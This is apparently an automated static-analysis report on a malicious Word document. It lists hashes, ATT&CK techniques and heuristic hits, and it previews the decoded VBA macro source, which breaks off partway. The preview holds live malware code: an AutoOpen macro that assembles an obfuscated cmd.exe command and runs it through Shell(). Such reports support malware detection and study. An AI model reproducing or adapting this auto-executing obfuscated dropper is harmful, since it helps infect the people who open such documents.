Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f96d57a0259b563…

MALICIOUS

Office (OLE)

98.0 KB Created: 2018-06-03 17:54:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 7533aa4c0f167ab791519a2057b53528 SHA-1: d1834fe4a748372ec11e7ebabfa75d0fc7a78fd2 SHA-256: 9f96d57a0259b563324d81b3e06de0b9a22d3899b97ba9f78a8a2548c96933a1
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical heuristic firing for a Shell() call within VBA macros, specifically within an Autoopen macro. This indicates the document is designed to execute arbitrary commands. The VBA script, though heavily obfuscated, explicitly calls the Shell function, which is the primary mechanism for executing external commands or downloading payloads. The presence of legacy WordBasic markers further supports the malicious intent.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17190 bytes
SHA-256: 6634a82b20da2fd01e92b35dc7ddd26ebb9cdf17a384f2c25fc6a3901d177e90
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZPnNWRYkCCYFsi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function SGjJo()
On Error Resume Next
For cRSQSc = lzsUs To 69255
         ZMlkK = (IbqiM - ChrW(51369 * 72820) * hrFVE * CInt(EKtDo + Sqr(90346)) + 59295 - 10739 / 83861 - CDate(HIUqR - 14836 + 74775 - Hex(QaUBbj / 8261)) + (qBDGmw * Tan(LQOThv)))
Next
For WCjoa = GvtaE To 31849
         iEDjJ = (wEcClP - ChrW(17791 * 40890) * aDoFt * CInt(DRRmI + Sqr(1716)) + 72299 - 91186 / 16531 - CDate(BWtIGM - 59052 + 18897 - Hex(wLtAwY / 33723)) + (zVqlzX * Tan(bmmzA)))
Next
SGjJo = tItTFvC + Shell(RhfITJwD + Chr(dNHwbhjjfk + vbKeyC + ACwUYIQVHa) + oFluwIi + djSzCPrSRN + TWRPNrS + dfTlLl + mTsAjojmv + jjcXYKMwbiq + nYLsKwr, tPljPOCoTI + 0 + QFwhXSa)
For LIUZjt = MCOYi To 45063
         pKRSNr = (oaSrC - ChrW(98141 * 80184) * TahJjn * CInt(ZaPfC + Sqr(41484)) + 91090 - 13478 / 33891 - CDate(bcOQV - 36856 + 67612 - Hex(jXiBi / 62437)) + (ZfinqV * Tan(HmlqDi)))
Next
End Function
Sub Autoopen()
On Error Resume Next
For zsTAja = aQwHw To 149
         QUXsi = (cqMTam - ChrW(75984 * 41432) * fiPATi * CInt(OAwFXz + Sqr(27704)) + 69428 - 62680 / 85678 - CDate(lrRNw - 39510 + 94694 - Hex(GfAaz / 75713)) + (zkTrz * Tan(UlFWtd)))
Next
SGjJo
For dccmi = CiLRj To 90603
         GcwOa = (SXBdQ - ChrW(79073 * 89991) * QFLrEr * CInt(jiCNsj + Sqr(71259)) + 42825 - 73447 / 37157 - CDate(wuZsmq - 91178 + 85964 - Hex(qbwMz / 75636)) + (lYAZbD * Tan(WzvBi)))
Next
End Sub


Attribute VB_Name = "hAPKcsAPYS"
Function oFluwIi()
On Error Resume Next
For lzziq = pNDwj To 26673
         tbBFR = (uFjZNP - ChrW(86683 * 69357) * AQuGwm * CInt(WSoOw + Sqr(2794)) + 23132 - 52786 / 66636 - CDate(EmJzj - 67657 + 17110 - Hex(RGBXlS / 94487)) + (ENnBdO * Tan(aFjQC)))
Next
HQqjVj = "md c" + "bsdNdGmKp" + "Liu S" + "ir" + "wuqLo"
For stHqz = GanRh To 72554
         hjRwhW = (Kwwoj - ChrW(69940 * 79928) * jsASG * CInt(YMujlG + Sqr(81362)) + 25478 - 33805 / 92227 - CDate(PAhjJ - 12239 + 3600 - Hex(kpwuTJ / 29105)) + (hquQP * Tan(AJTXSv)))
Next
LwcAaYXJDcm = "wfjmEWPbO" + " SLQdO" + "XdCizdt" + " &    "
For bzfCi = jIsZm To 96654
         WncRa = (WlIWW - ChrW(59538 * 81863) * AXMmoG * CInt(JrRrks + Sqr(60704)) + 25870 - 80415 / 32815 - CDate(SrINh - 4409 + 92837 - Hex(YiTbIY / 84893)) + (ikfnzr * Tan(NvKZqd)))
Next
ovBtiz = " %^c^o^m^S^" + "p^E^c^%   " + "  %^c^o^m" + "^S^" + "p^E" + "^c^%    " + " /V  " + "       /c" + "      " + "     s"
For XSFOMw = nqKqsi To 2603
         QJTsMw = (KdKbzv - ChrW(34211 * 43187) * GRhGAW * CInt(LtEvtU + Sqr(95225)) + 9302 - 18398 / 81846 - CDate(iBFzQ - 89595 + 89603 - Hex(bDlzf / 41938)) + (hjbAu * Tan(uPIzIB)))
Next
izLhEspYv = "et %zYvBCmpnzc" + "ndhwj%=BPvN" + "zCbDBAcYR&&" + "set" + " %kivkdwpoCT%=" + "p&&set %"
For qfFRJZ = UXIAmM To 85606
         qatYZZ = (NdIvhk - ChrW(74440 * 95171) * ItLRvz * CInt(qGizK + Sqr(52330)) + 51193 - 27110 / 66578 - CDate(zYhFkb - 18199 + 7108 - Hex(cINrC / 65375)) + (KstAa * Tan(tHDRqa)))
Next
qdlUal = "YhLYkYDDE%=o^w" + "&&" + "set %" + "odpUQfHrDU" + "cmahq%=nvQq" + "mBTDPw&&set" + " %" + "ULfjNSjpVatH"
For mCuNkk = PsXRC To 26989
         UKcPjR = (QhUiWB - ChrW(60426 * 50892) * Tkjcf * CInt(OAHRT + Sqr(18351)) + 33910 - 40667 / 53381 - CDate(MVYwbC - 20438 + 16737 - Hex(VUZfNj / 66923)) + (rEjSlz * Tan(wcHOzb)))
Next
AOSHBoTmc = "q%=!%kivk" + "dw" + "poCT%!&&set %" + "zzrzB" + "KQVKzwIQSY%=z" + "uTbWUlfOELifn&"
oFluwIi = HQqjVj + LwcAaYXJDcm + ovBtiz + izLhEspYv + qdlUal + AOSHBoTmc
End Function
Function djSzCPrSRN()
On Error Resume Next
For MsjJfH = aRaamK To 9204
         UtikUa = (vfaXc - ChrW(98787 * 96538) * wKOWIj * CInt(EDbLQn + Sqr(12335)) + 84919 - 99625 / 75754 - CDate(IIOfMH - 47620 + 92302 - Hex(DiIiic / 43977)) + (PXnwHY * Tan(iJIJdo)))
Next
AwSQZEMuPzd = "&set %cd" + "LizPdMnjlpjj" + "%=e^r&&" + "set %Yfp" + "DCIFB" + "C%=!%YhLYkYD" + "DE%!&&
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